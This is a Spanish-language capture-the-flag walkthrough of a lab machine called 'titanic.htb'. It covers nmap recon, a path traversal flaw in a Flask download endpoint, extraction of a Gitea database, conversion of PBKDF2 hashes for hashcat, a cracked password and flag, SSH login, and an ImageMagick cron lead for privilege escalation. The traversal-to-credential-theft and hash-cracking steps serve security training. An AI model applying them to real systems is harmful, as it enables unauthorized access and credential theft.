Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-22 16:39 EST
Nmap scan report for 10.10.11.55
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.22 seconds
Si entramos en la pagina, vemos que esta intentando acceder a un dominio llamado titanic.htb, por lo que tendremos que meterlo en el archivo hosts.
nano /etc/hosts
#Dentro del nano
<IP> titanic.htb
Lo guardamos y volvemos a recargar la pagina, ahora veremos que carga todo de forma correcta, pero no encontraremos gran cosa, por lo que vamos a ver si contuviera algun subdominio.
Vemos que efectivamente hemos encontrado un subdominio llamado dev, por lo que haremos lo siguiente.
Vamos a meter en el archivo hosts de nuevo el subdominio de la siguiente forma:
nano /etc/hosts
#Dentro del nano
<IP> titanic.htb dev.titanic.htb
Lo guardamos y ahora lo ponemos en la URL:
URL = http://dev.titanic.htb/
Veremos esta pagina:
Si nos registramos en la pagina y exploramos un poco encontraremos bastantes cosas interesante en los repositorios del usuario developer, pero entre ellos si nos vamos al siguiente repositorio en esta ruta del codigo de la app.py veremos esto:
from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4
app = Flask(__name__)
TICKETS_DIR = "tickets"
if not os.path.exists(TICKETS_DIR):
os.makedirs(TICKETS_DIR)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/book', methods=['POST'])
def book_ticket():
data = {
"name": request.form['name'],
"email": request.form['email'],
"phone": request.form['phone'],
"date": request.form['date'],
"cabin": request.form['cabin']
}
ticket_id = str(uuid4())
json_filename = f"{ticket_id}.json"
json_filepath = os.path.join(TICKETS_DIR, json_filename)
with open(json_filepath, 'w') as json_file:
json.dump(data, json_file)
return redirect(url_for('download_ticket', ticket=json_filename))
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)
Veremos que hay una vulnerabilidad de un Path Traversal en la seccion de /download.
Vulnerabilidad: Directory Traversal en /download
¿Qué es Directory Traversal?
Es un tipo de vulnerabilidad que permite a un atacante acceder a archivos fuera del directorio permitido explotando rutas relativas (../).
En este caso, la aplicación Flask permite descargar archivos desde la carpeta tickets/, pero no valida correctamente el nombre del archivo proporcionado por el usuario.
Ubicación de la vulnerabilidad en el código:
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket') # <--- Entrada no validada del usuario
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket) # <--- Ruta sin sanitizar
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket) # <--- Envía cualquier archivo
else:
return jsonify({"error": "Ticket not found"}), 404
📌 Problema:
ticket proviene directamente del usuario sin validación.
os.path.join(TICKETS_DIR, ticket) no impide que el usuario use ../ para salir del directorio.
Un atacante puede descargar cualquier archivo del sistema al que el servidor tenga acceso.
¿Cómo se puede explotar?
Ejemplo 1: Obtener el archivo /etc/passwd en Linux
Si el servidor está en Linux, un atacante puede usar curl para intentar descargar el archivo de contraseñas del sistema:
# SSH pubkey from git user
ssh-rsa <Gitea Host Key>
# other keys from users
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty <user pubkey>
Vemos una ruta de configuracion de una aplicacion y con suerte puede que este por defecto como en la documentacion, por lo que vamos a probarlo de la siguiente forma:
Veremos que obtenemos los nombres de usuarios con sus hashes por lo que tendremos que crackear del del usuario developer que es el que nos interesa.
Proceso para preparar hashes de contraseñas con salts para usar con Hashcat
Cuando se tiene acceso a una base de datos (como gitea.db), podemos extraer los hashes de contraseñas y sus respectivos salts de los usuarios para crackear las contraseñas con herramientas como Hashcat. Para hacerlo correctamente, es necesario transformar los datos a un formato adecuado. Aquí te explico cómo hacerlo paso a paso.
1. Obtener los datos desde la base de datos
Usamos SQLite para extraer las columnas necesarias (passwd, salt, y name) de la tabla user en la base de datos.
Comando:
sqlite3 gitea.db "select passwd,salt,name from user"
Este comando devuelve tres columnas:
passwd: El hash de la contraseña en formato hexadecimal.
salt: El salt utilizado en el proceso de hashing, también en formato hexadecimal.
name: El nombre del usuario.
2. Procesar cada línea de los resultados
Para trabajar con cada fila obtenida, usamos un bucle while que lee cada línea y realiza las transformaciones necesarias.
Comando:
| while read data;
Este comando se asegura de procesar una por una todas las líneas de los resultados obtenidos de la base de datos.
3. Convertir el hash y el salt a formato Base64
Los valores del hash y el salt generalmente están en formato hexadecimal, pero Hashcat espera que estos valores estén en formato Base64. Por lo tanto, necesitamos hacer una conversión.
cut -d'|' -f1: Extrae la primera parte de la línea (el hash), dividiendo por el delimitador |.
xxd -r -p: Convierte el valor hexadecimal (hash/salt) a su formato binario.
base64: Convierte los datos binarios a formato Base64.
Esto hace que tanto el hash como el salt sean compatibles con el formato que Hashcat necesita para procesarlos correctamente.
4. Extraer el nombre del usuario
También necesitamos obtener el nombre del usuario para asociarlo con su hash de contraseña.
Comando:
name=$(echo $data | cut -d'|' -f3)
Este comando extrae la tercera parte de la línea (el nombre del usuario).
5. Formato para Hashcat
Ahora generamos el formato adecuado que Hashcat puede utilizar para intentar crackear las contraseñas. El formato es:
<usuario>:sha256:<iteraciones>:<salt>:<hash>
Comando para generar el formato:
echo "${name}:sha256:50000:${salt}:${digest}"
Explicación:
${name}: El nombre del usuario.
sha256: El algoritmo de hash que se usó (en este caso, SHA-256).
50000: El número de iteraciones utilizadas en el hashing (esto es común en hashes modernos como PBKDF2). Este número puede variar dependiendo de la implementación de la base de datos.
${salt}: El salt en formato Base64.
${digest}: El hash de la contraseña en formato Base64.
¿Por qué hacer estas conversiones?
Hashcat requiere los hashes y los salts en formato Base64, por lo que es necesario convertirlos desde su formato hexadecimal original a Base64.
El número de iteraciones (50000 en este caso) es importante para hacer el proceso de cracking más realista, ya que muchos algoritmos de hashing modernos incluyen múltiples iteraciones para mejorar la seguridad de las contraseñas.
Este proceso es común para trabajar con hashes y salts de bases de datos que utilizan algoritmos como PBKDF2-SHA256.
Escalate user developer
Hashcat
hashcat hash.txt <WORDLIST> --user
Info:
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-12th Gen Intel(R) Core(TM) i7-12700H, 2913/5891 MB (1024 MB allocatable), 8MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 5 digests; 5 unique digests, 5 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 2 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => q
Session..........: hashcat
Status...........: Quit
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: gitea.hashes
Time.Started.....: Sat Feb 22 17:44:00 2025 (47 secs)
Time.Estimated...: Sun Feb 23 19:56:19 2025 (1 day, 2 hours)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 608 H/s (8.18ms) @ Accel:256 Loops:128 Thr:1 Vec:8
Recovered........: 1/5 (20.00%) Digests (total), 1/5 (20.00%) Digests (new), 1/5 (20.00%) Salts
Progress.........: 26624/71721925 (0.04%)
Rejected.........: 0/26624 (0.00%)
Restore.Point....: 4096/14344385 (0.03%)
Restore.Sub.#1...: Salt:3 Amplifier:0-1 Iteration:42112-42240
Candidate.Engine.: Device Generator
Candidates.#1....: newzealand -> iheartyou
Hardware.Mon.#1..: Util: 91%
Started: Sat Feb 22 17:43:27 2025
Stopped: Sat Feb 22 17:44:48 2025
Por lo que vemos hemos obtenido la contraseña, por lo que nos meteremos por SSH mediante las credenciales:
User: developer
Pass: 25282528
SSH
ssh developer@<IP>
Metemos como contraseña 25282528 y veremos que estamos dentro, por lo que leeremos la flag del usuario.
user.txt
cac7d5645963a2eae1d90fb07d6d3e46
Escalate Privileges
Si nos vamos a la carpeta /opt veremos una carpeta llamada /app que si nos metemos dentro veremos la aplicacion, pero en la carpeta tickets vemos que tenemos permisos para escribir:
drwxrwx--- 2 root developer 4096 Feb 24 17:25 tickets
Si nos metemos dentro veremos todos los .json de la base de datos, pero si nos volvemos atras, donde la /app nos vamos a static/assets/images, veremos que aqui tambien podemos escribir en esta carpeta.
Por lo que vemos esto es bastante interesante, pero si nos vamos a la siguiente ruta:
cd /opt/scripts
Veremos que hay un script en bash que si leemos que contiene, veremos esto:
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
Vemos que esta utilizando una herramienta llamada magick que es famosa por tener una vulnerabilidad para leer ficheros del sistema, por lo que vamos a ver si funciona.